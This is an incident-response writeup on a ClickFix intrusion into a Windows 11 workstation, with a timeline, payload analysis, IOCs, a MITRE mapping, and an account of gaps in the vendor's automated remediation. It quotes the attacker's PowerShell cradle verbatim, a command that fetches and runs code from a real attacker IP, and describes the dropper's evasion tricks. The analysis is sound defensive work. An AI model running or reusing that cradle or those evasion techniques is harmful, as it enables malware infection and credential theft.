VenomousViper Labs
Portfolio Writeups
← Back to Writeups

Sanitization notice: All client-identifying information has been redacted. Organization name, hostname, user account name, security account identifiers, and vendor portal references are replaced with placeholders. Attacker infrastructure, file hashes, malware artifacts, and technique details are reproduced unmodified, as they carry no client-identifying value and are the substance of the analysis.

1. Executive Summary

A managed EDR platform detected malicious Python interpreter activity on a Windows 11 workstation at a client site and automatically isolated the host. The vendor SOC generated an assisted remediation plan, which was approved and executed. The incident failed to clear β€” one persistence artifact remained flagged in the platform.

Manual investigation established that the vendor's remediation plan had been constructed from an incomplete picture of the intrusion. The vendor report identified a dropped installer as the origin of the compromise. Forensic reconstruction demonstrated that this installer was in fact a second-stage payload, downloaded roughly four and a half minutes after the actual initial access event.

The true entry vector was a ClickFix social engineering attack: the user was induced to paste an attacker-supplied PowerShell one-liner into Windows Terminal. This produced a chain of execution that included a batch dropper, a second command-and-control endpoint hosted on a compromised WordPress site, and a payload directory that the vendor telemetry never associated with the incident at all.

Three distinct failures were identified in the automated remediation, and a fourth persistence mechanism was discovered that appeared nowhere in the vendor's report. All were manually closed. Host-level remediation was completed and independently verified.

Key Outcomes

MetricValue
Time from execution to automated detection~5 minutes
Time from detection to isolationImmediate (automated)
Persistence mechanisms established by malware4
Persistence mechanisms identified by vendor SOC3
Persistence mechanisms successfully removed by automated remediation2
Malicious files remaining on disk after automated remediation~40 MB across 3 directories
C2 endpoints identified by vendor0
C2 endpoints recovered through manual analysis2

2. Environment

AttributeValue
Organization[CLIENT-REDACTED] β€” automotive retail sector
Host[HOSTNAME-REDACTED]
Operating systemWindows 11 Pro
Host typeShared workstation, 4 local user profiles
Affected account[USER-REDACTED] β€” standard user, SID ending -1002
Endpoint securityManaged EDR agent + Microsoft Defender Antivirus
Remote accessRMM remote-shell session, SYSTEM context

3. Attack Chain Reconstruction

All times local (UTC-5).

TimeEventEvidence source
08:12:48Lure page rendered; per-victim tracking ID generatedDecoded from C2 URL parameter
08:13:28wt.exe, WindowsTerminal.exe, OpenConsole.exe β€” first execution ever recorded on this hostPrefetch CreationTime
~08:13:30User pastes attacker one-liner into Terminal; download cradle executesPSReadLine console history
08:13:59csc.exe + cvtres.exe β€” runtime C# compilationPrefetch
08:14:29Payload directory %LOCALAPPDATA%\DNSDK createdDirectory CreationTime
08:14:4513 payload files written to DNSDKFile CreationTime
08:14:55CPUMetricsServer.exe first executionPrefetch
08:17:14C:\ProgramData\setup\setup.exe written (15.1 MB)File CreationTime
08:17:15–16setup.exe and 7za.exe execute; portable Python runtime extractedPrefetch
08:17:26pythonw.exe executes main.pywPrefetch, corroborated by EDR
08:17:43YkByDCFo.mus written to Python payload directoryFile LastWriteTime
08:17:57consent.exe β€” UAC prompt (attributed to browser elevation service, not the malware)Prefetch
08:22:28EDR detection and automatic host isolationEDR platform
08:54:31Vendor SOC assisted remediations executedEDR platform
~09:40Host rebooted; manual IR session beginsβ€”

Dwell time with unrestricted network access: approximately 5 minutes.

The significance of this timeline is the ordering. The vendor report characterized setup.exe (08:17:14) as the installer that deployed the malware. The DNSDK directory was created at 08:14:29 β€” two minutes and forty-five seconds before setup.exe existed on disk, and its binary had already executed at 08:14:55. Two separate payload branches were deployed from a common parent that the vendor never observed.

4. Initial Access

4.1 Recovered command

The following was recovered verbatim from the user's PSReadLine console history file:

iex(irm http://158.94.211.92/std/?sid=1784812368939-xxxxxxxx -UseBasicParsing)

This is a standard PowerShell download cradle: Invoke-RestMethod retrieves a remote script, Invoke-Expression executes it in memory without writing to disk.

4.2 Analysis of the URL

Plain HTTP to a bare IPv4 address. No DNS resolution occurred at any point. This has direct operational consequence: DNS logging, DNS filtering, and protective-DNS controls provide zero visibility and zero protection against this stage. Firewall log searches for related activity must be conducted by IP address.

The sid parameter is a Unix millisecond timestamp. The value 1784812368939 decodes to 2026-07-23 13:12:48 UTC β€” 08:12:48 local, forty seconds before Windows Terminal first launched. This is a per-victim tracking identifier generated server-side when the lure page rendered. It establishes the moment the user encountered the lure and confirms the operator tracks victims individually.

4.3 Delivery mechanism determination

Two competing hypotheses were tested:

HypothesisTestResult
Win+R Run dialog paste (classic ClickFix)Query HKCU\...\Explorer\RunMRURejected β€” key does not exist on this profile. The Run dialog has never been used.
Downloaded fake installerEnumerate Downloads folder by creation dateRejected β€” no items from the incident date; most recent file predates the incident by two weeks.
Interactive paste into Windows TerminalPrefetch first-execution analysis of wt.exeConfirmed β€” first execution ever on this host, 40 seconds after lure page load.

The Windows Terminal variant of ClickFix is a deliberate evolution. Security awareness training has historically focused on the Win+R Run dialog, and some organizations disable or monitor it. Directing the victim to Windows Terminal β€” a legitimate, modern, developer-facing application present by default on Windows 11 β€” evades both the training and the control. It also defeats RunMRU as a forensic artifact.

4.4 Logging gap

PowerShell Script Block Logging (Event ID 4104) did not capture the initial access command. A query of the PowerShell Operational log across the full incident window returned only Defender CIM module autoloads occurring at 08:24 β€” two minutes after detection, and unrelated to the intrusion.

PSReadLine console history was the sole source of recovery. This is a fragile dependency: PSReadLine history is user-writable, trivially deleted, and has a finite buffer. Had the operator issued a single cleanup command, the entire initial access vector would have been unrecoverable.

5. Stage 1 β€” slimer.bat

Recovered from %LOCALAPPDATA%\Temp\slimer.bat (2,002 bytes).

5.1 Observed behavior

BehaviorImplementationPurpose
Self-relaunch minimizedstart /min "" "%~f0" go & exit /bReduce visual footprint
Command-line string evasionset "a=power" / set "b=shell", concatenated at invocationDefeat detections matching the literal string powershell.exe
Hidden execution-WindowStyle Hidden -NoP -NonI -EP BypassSuppress window, bypass execution policy
Console window suppressionAdd-Type -MemberDefinition P/Invoke of GetConsoleWindow + ShowWindowHide any console that does appear
TLS inspection bypassServerCertificateValidationCallback = {$true}Accept any certificate; function through inspection proxies
Payload freshness checkHEAD request comparing ContentLength against existing file sizeRe-download only if the hosted payload has changed
C2 resilience80 retry attempts at 3-second intervals~4 minutes of persistent connection attempts
Anti-analysis size checkDelete and abort if payload < 1 MBReject error pages, sinkhole responses, truncated downloads
Self-cleanupri $dst -Recurse -Force after WaitForExit()Remove payload directory once execution completes

5.2 The csc.exe finding

Prefetch showed csc.exe (the C# compiler) and cvtres.exe executing at 08:13:59. In isolation this is a significant indicator β€” runtime compilation is a well-established technique for building malicious assemblies in memory and evading file-based detection.

Analysis of the recovered dropper downgraded this finding. The Add-Type -MemberDefinition call compiles a trivial two-function P/Invoke wrapper around GetConsoleWindow and ShowWindow, used solely to hide the console window. This is a defense-evasion behavior, but it is not an in-memory malicious assembly. Documenting the downgrade matters: an unresolved "attacker compiled code in memory" note would have driven unnecessary escalation.

5.3 Why the artifacts survived

The dropper is written to delete C:\ProgramData\setup after the payload process exits. That directory was still present on disk at the time of investigation, which establishes that WaitForExit() never returned. Automated isolation at 08:22:28 and the subsequent reboot terminated the parent process before its cleanup routine could execute.

Containment worked as designed, and its secondary effect was evidentiary: the interruption preserved the artifacts that made this reconstruction possible.

5.4 Scope limitation

slimer.bat accounts only for the setup.exe branch of the intrusion. It contains no logic that creates the DNSDK directory. Since DNSDK was written at 08:14:29 β€” before setup.exe existed β€” the original in-memory payload retrieved by the iex cradle necessarily contained a second branch that deployed that stage directly.

That parent script executed only in memory and was not recoverable. This limitation is stated explicitly rather than allowing the report to imply complete coverage of the intrusion.

6. Payload Analysis

6.1 C:\ProgramData\<32-hex-char-directory>\

A complete portable Python 3.11 runtime β€” interpreter, standard library archive, OpenSSL libraries, and compiled extension modules β€” deployed alongside:

Randomized 32-character hexadecimal directory naming defeats static path-based detection and blocklisting.

6.2 %LOCALAPPDATA%\DNSDK\

Thirteen files. Naming conventions (DNSDK, Machine.db, Hub.Cache.dat, Device.dll, Platform.dll) were selected to resemble a legitimate vendor SDK or driver-support package.

Authenticode analysis:

FileSignature status
drDr.dllNotSigned
Platform.dllNotSigned
VM.dllNotSigned
concrt140.dll, msvcp140*.dll, vcruntime140*.dll, ucrtbase.dllValid β€” Microsoft

The validly signed files are the standard Microsoft Visual C++ redistributable, which ships alongside anything compiled in Visual Studio. Their presence and signature status are not indicative in either direction β€” a point worth stating explicitly, since a signature-status column alone reads as "mostly legitimate" to a casual reviewer.

Version resource analysis β€” the decisive finding:

FileClaimed companyClaimed product
drDr.dllFinkit d.o.o.ManicTime
VM.dllKaizen Software SolutionsVehicle Manager
Device.dll, Platform.dllAdvanced Micro Devicesβ€”

Version metadata was scraped from three unrelated commercial software products and applied to the malicious binaries. This is masquerading intended to survive casual inspection: an analyst spot-checking file properties sees plausible vendor names. The choice of "Vehicle Manager" is notable given the client's sector; whether that reflects deliberate targeting or coincidental selection cannot be determined from available evidence, and no conclusion is drawn.

6.3 Timestamp analysis β€” a rejected hypothesis

Initial directory listings showed LastWriteTime values ranging from 2024 through May 2026. Taken at face value, this suggested DNSDK predated the incident by months, which would have escalated scope from a single-day compromise to a potential long-dwell intrusion.

This hypothesis was tested and rejected. CreationTime analysis returned:

Archive extraction and packing routines preserve original LastWriteTime values while setting CreationTime to the moment of extraction. The correct artifact for "when did this arrive on this host" is CreationTime; LastWriteTime answers a different question β€” when the file was built β€” and conflating the two produces false conclusions in both directions.

6.4 Suspected desktop capture β€” a second rejected hypothesis

Three JPEG files between 0.5 MB and 1.5 MB were found in the user's temp directory within the incident window. Python-based infostealers commonly capture the desktop prior to exfiltration, and both timing and file size were consistent with that behavior.

Rejected on measurement. Image dimensions were approximately 2540Γ—3306, 2543Γ—3312, and 2519Γ—3302 β€” US Letter at 300 DPI. Prefetch confirmed multifunction-printer software active on the host. These are scanner output, not screen captures. Had this not been checked, the report would have carried "confirmed desktop capture and exfiltration" β€” a finding that materially changes client notification obligations.

7. Persistence Inventory

#TypeNameTargetVendor ID'dAuto-removed
1Scheduled TaskIAmNotWorthItgpythonw.exe + main.pywYesYes
2Scheduled TaskRickisUpdatepythonw.exe + main.pywYesYes
3Registry Run keyDNAppCPUMetricsServer.exeYesYes
4Registry Run keyCPU Metrics ServerCPUMetricsServer.exeYesNo β€” delete reported success, value persisted
5Scheduled TaskCPU Metrics ServerCPUMetricsServer.exeNo β€” never enumeratedNo

Five persistence artifacts across two mechanism classes, both scoped to the user context. No SYSTEM-level or machine-wide persistence was established, which is consistent with a user-level infection that never achieved elevation.

7.1 The registry hive access problem

The initial registry query against the user's HKU\<SID> path returned "unable to find the specified registry key." This is ambiguous and easy to misread as confirmation that the key had been successfully deleted.

reg query HKU returned only .DEFAULT and the three service SIDs. The user's hive was not loaded, because no interactive login had occurred since the reboot. The Run key exists on every user profile by default; a query returning "not found" for a universally present key indicates a missing hive, not a missing value. Resolution was to mount the hive from disk:

reg load HKU\J "C:\Users\[USER]\NTUSER.DAT"

The CPU Metrics Server value was present. The vendor platform had reported this deletion as successful. This raises a question about the automated remediation's own execution context: if the user's hive was likewise unloaded when the platform ran its registry deletes, then the operation targeted a path that did not exist β€” and reported success regardless. Following any offline hive work, unmounting is mandatory:

[gc]::Collect(); reg unload HKU\J

Leaving the hive mounted holds NTUSER.DAT open and forces the user into a temporary profile at next login β€” converting a clean remediation into a visible service incident.

7.2 The undocumented scheduled task

A persistence sweep beyond the artifacts named in the vendor report identified a fifth mechanism: a scheduled task named CPU Metrics Server at the root task path, executing the DNSDK binary. This task appeared in none of the vendor's outputs. It was discovered only because the sweep enumerated tasks by execution path pattern rather than by the task names supplied in the vendor report:

Get-ScheduledTask | Where {$_.Actions.Execute -match 'ProgramData|AppData'}

Scoping verification to the artifacts an upstream tool already told you about cannot, by construction, find what that tool missed.

8. Defense Evasion & Security Control Status

Microsoft Defender was verified fully operational throughout:

ControlState
Real-time protectionEnabled
Tamper protectionEnabled
Running modeNormal
Signature currencySame-day, 04:44
Attacker-added path exclusionsNone
Attacker-added process exclusionsNone
Attacker-added extension exclusionsNone

This is a meaningful negative finding. Defender exclusion abuse is among the most common defense-evasion steps in commodity intrusions, and its absence here indicates the operator either never attempted it or lacked the elevation to do so. Combined with the absence of machine-wide persistence, this supports the assessment that the intrusion remained user-scoped throughout. Evasion techniques that were observed operated at the script layer β€” string-splitting to defeat command-line matching, hidden window execution, certificate validation bypass, masqueraded file metadata, and randomized directory naming.

9. Indicators of Compromise

9.1 Network

IndicatorTypeNotes
158.94.211.92IPv4 β€” stage 1 C2Plain HTTP, path pattern /std/?sid=<epoch_ms>-<random>. No DNS resolution β€” invisible to DNS-layer controls.
aerobicperl.comDomain β€” stage 2 hostCompromised WordPress site
hxxps://aerobicperl[.]com/wp-uploads/user1487376484/h8egrtnu7y43e57uygtn.icoURL β€” payloadExecutable served with .ico extension

9.2 Host

IndicatorType
%LOCALAPPDATA%\Temp\slimer.batBatch dropper, 2,002 bytes
C:\ProgramData\<32-hex>\Python runtime payload directory
C:\ProgramData\setup\setup.exeStage 2 installer, 15.1 MB
%LOCALAPPDATA%\DNSDK\Secondary payload directory, 13 files
main.pywPacked Python malware, 2.9 MB
uaRyY.mipEncrypted configuration/payload, 1.6 MB
CPUMetricsServer.exePersistence binary

9.3 Hashes (SHA256)

9e70fe7eaaa5292b96991c8f2f8f489b1e5cfe2fb15ba81cd001faff32b06659  setup.exe
14a89eda72e385f76bf15a7c4fd539c48837cf5df444a16f28c5b94f29799550  pythonw.exe
072fc925ea0f0eec736edebc881024781f36b8e6e15e761475934bfe71e20eb8  CPUMetricsServer.exe

9.4 Behavioral

10. MITRE ATT&CK Mapping

TacticTechniqueIDObservation
Initial AccessPhishingT1566Lure page directing user to execute attacker-supplied command
ExecutionUser Execution: Malicious Copy and PasteT1204.004Command pasted into Windows Terminal by the user
ExecutionCommand and Scripting Interpreter: PowerShellT1059.001iex(irm ...) download cradle
ExecutionCommand and Scripting Interpreter: Windows Command ShellT1059.003slimer.bat
ExecutionCommand and Scripting Interpreter: PythonT1059.006pythonw.exe executing main.pyw
PersistenceScheduled Task/Job: Scheduled TaskT1053.005Three tasks created
PersistenceBoot or Logon Autostart: Registry Run KeysT1547.001Two Run values created
Defense EvasionObfuscated Files or InformationT1027String-split construction of powershell
Defense EvasionMasquerading: Match Legitimate Name or LocationT1036.005DNSDK, CPU Metrics Server, setup.exe
Defense EvasionMasqueradingT1036Version resources scraped from unrelated commercial products
Defense EvasionHide Artifacts: Hidden WindowT1564.003-WindowStyle Hidden plus ShowWindow P/Invoke
Defense EvasionIndicator Removal: File DeletionT1070.004Self-cleanup routine (interrupted by containment)
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001HTTP and HTTPS C2
Command and ControlIngress Tool TransferT1105Second-stage payload retrieval
Credential AccessCredentials from Password Stores: Web BrowsersT1555.003Assessed, not confirmed β€” consistent with malware family capability

11. Remediation Actions

11.1 Executed by vendor SOC (verified during investigation)

11.2 Executed manually

ActionTarget
Directory deletion (recursive)C:\ProgramData\<32-hex>\
Directory deletion (recursive)C:\ProgramData\setup\
Directory deletion (recursive)%LOCALAPPDATA%\DNSDK\
Registry value deletion (offline hive)Run\CPU Metrics Server
Scheduled task deletion\CPU Metrics Server
Evidence preservation10 malware samples retained for analysis

11.3 Verification performed

CheckMethodResult
No malicious processesProcess enumeration by name and pathClean
No residual payloadDirectory enumeration of all three payload pathsClean
User Run keysOffline hive query post-deletionClean β€” 4 legitimate values remain
Machine Run keysHKLM\...\CurrentVersion\RunClean β€” 5 legitimate values
Startup foldersUser and All Users Start Menu StartupEmpty
Scheduled tasksEnumeration by execution path pattern, not by nameClean β€” all remaining root-path tasks attributed to known vendors
Hidden/renamed tasksTask definition files with write time after incident startNone
AV healthReal-time, tamper protection, running mode, signature ageFully operational
AV exclusionsPath, process, and extension exclusion listsNo attacker-added entries

12. Detection & Response Gaps Identified

12.1 Automated remediation reported a failed operation as successful

The CPU Metrics Server registry value persisted after the platform reported its deletion complete. This was the sole reason the incident would not clear, and it was surfaced only because the platform's own footholds view continued to flag it. Implication: Automated remediation results require independent verification. A success indicator in a vendor console is a claim, not a confirmation.

12.2 Malicious payload left on disk

Approximately 40 MB of malicious files across three directories remained after the automated plan completed. The plan deleted persistence mechanisms and the single binary they referenced, but not the payload those mechanisms existed to launch. Implication: A host with persistence removed but payload intact is not remediated. It is one re-established autostart away from reinfection.

12.3 Persistence mechanism never enumerated

The \CPU Metrics Server scheduled task appeared in no vendor output. Implication: Verification must enumerate persistence independently, by behavioral pattern, rather than confirming removal of the specific artifacts an upstream tool named.

12.4 Incident scope began 4.5 minutes after initial access

The vendor report identified setup.exe as the initial installer. Prefetch analysis placed three earlier execution events before it, and the actual entry vector appeared nowhere in vendor telemetry. Implication: Detection fired on the Python interpreter behavior, but the platform did not reconstruct upstream lineage. Had remediation been accepted at face value, the primary C2 would never have been identified or blocked.

12.5 Script Block Logging did not capture the attack

Event ID 4104 contained no record of the initial access command. Recovery depended entirely on PSReadLine console history β€” a user-writable file that a single cleanup command would have destroyed.

13. Recommendations

13.1 Immediate β€” this incident

  1. Block 158.94.211.92 and aerobicperl.com at the perimeter firewall.
  2. Search firewall logs by IP address for any other internal host contacting the stage 1 C2. DNS logs will not contain this indicator.
  3. Treat the affected user's credentials as compromised: password reset, session and refresh token revocation, mailbox rule and forwarding audit, sign-in log review from the time of execution forward, and reset of any credentials stored in the browser.
  4. Submit the reconstructed timeline and both C2 indicators to the EDR vendor SOC for detection tuning.

13.2 Assessment on exfiltration

Exfiltration is unconfirmed in both directions. No direct evidence of data theft was recovered, and no evidence was found that would rule it out. The payload had approximately five minutes of unrestricted network access before isolation, which is sufficient for credential and browser data collection and transmission. The absence of evidence is expected rather than reassuring: exfiltration over HTTPS from a process that was subsequently terminated leaves minimal host-side artifact. Credential remediation proceeds on the assumption of compromise, which is the only defensible posture given the capability profile of this malware family.

13.3 Preventive controls

ControlRationale
Enable PowerShell Script Block Logging fleet-wideIt failed to capture this attack; PSReadLine is not a dependable substitute
Forward PowerShell operational logs to central collectionLocal logs are within reach of any user-level compromise
Restrict Windows Terminal for non-technical rolesIt served as the execution surface here specifically because it is unmonitored and untrained-for
Update security awareness content to cover ClickFixTraining that addresses only the Run dialog does not cover the current variant
Alert on csc.exe in a PowerShell process lineageRuntime compilation on a non-developer workstation is inherently anomalous
Alert on first-ever execution of wt.exe on non-technical endpointsHigh-signal, low-volume indicator
Review clear-text document accumulation in user temp directoriesScanned business documents were found unencrypted in temp; a stealer sweeping %TEMP% would have collected them

13.4 Process

Verify automated remediation independently. Three separate defects in a single vendor-generated plan establish that plan completion is not equivalent to host remediation.

Enumerate by behavior, not by name. The undocumented scheduled task was found by matching execution paths against ProgramData and AppData, not by checking the tasks the vendor listed. Verification methodology must be independent of the tool being verified, or it inherits that tool's blind spots.

Reconstruct the full timeline before accepting a stated root cause. Prefetch CreationTime analysis is inexpensive and definitive. Here it moved the incident's origin four and a half minutes earlier and surfaced an entire attack stage, a second C2 endpoint, and a second payload directory that would otherwise have gone unaddressed.

14. Analytical Notes

Several working hypotheses were formed and subsequently rejected during this investigation. They are documented because the reasoning that discarded them is part of the method, and because a report presenting only confirmed conclusions misrepresents how the conclusions were reached.

HypothesisBasisTestOutcome
A live process was rewriting the surviving Run keyKey reappeared after deletion β€” classic watchdog behaviorProcess enumeration by name and pathRejected β€” nothing running; target binary already deleted. Simple failed delete.
DNSDK represented a compromise dating to May 2026File LastWriteTime values ranged March–May 2026CreationTime analysisRejected β€” all files created same-day 08:14:45. Write times are packer-preserved build times.
csc.exe indicated a malicious in-memory .NET assemblyRuntime compilation in a PowerShell lineageRecovery and reading of the dropper sourceDowngraded β€” console-hiding P/Invoke only
Three large temp JPEGs were infostealer desktop capturesSize and timing consistent with screen captureImage dimension measurementRejected β€” Letter at 300 DPI; MFP scanner output
The consent.exe UAC prompt indicated attempted elevationTiming placed it inside the infection windowCross-reference against dropper source and prefetchUnresolved, low confidence β€” no elevation logic in recovered code; browser elevation service active in same window

The pattern worth extracting: in four of five cases, a cheap and specific test converted an alarming hypothesis into a determination. The cost of each test was seconds. The cost of carrying any one of them into a client report unverified would have been an incorrect scope, an unnecessary escalation, or a notification obligation asserted without basis.

15. Assessment Summary

QuestionDeterminationConfidence
Initial access vectorClickFix social engineering via Windows Terminal pasteHigh β€” command recovered verbatim, corroborated by prefetch and negative RunMRU finding
Time of initial compromise08:12:48 local (lure), 08:13:28 (execution)High β€” independent timestamp sources agree
Elevation achievedNoModerate-high β€” all persistence user-scoped, no machine-wide artifacts, no AV tampering
Lateral movementNone observedModerate β€” host isolated within 5 minutes; network-side verification pending firewall log review
Data exfiltrationUnconfirmed; assumed for remediation purposesLow confidence in either direction; ~5 minutes of network access available
Credential compromiseAssumedAssumption-based, driven by malware family capability rather than direct evidence
Host remediationComplete and verifiedHigh β€” independent multi-vector verification performed
Additional affected hostsUnknown; hunt pendingFirewall log review by IP required

Report prepared by Jeremy Tarkington. All client-identifying information redacted. Attacker infrastructure and malware artifacts reproduced unmodified.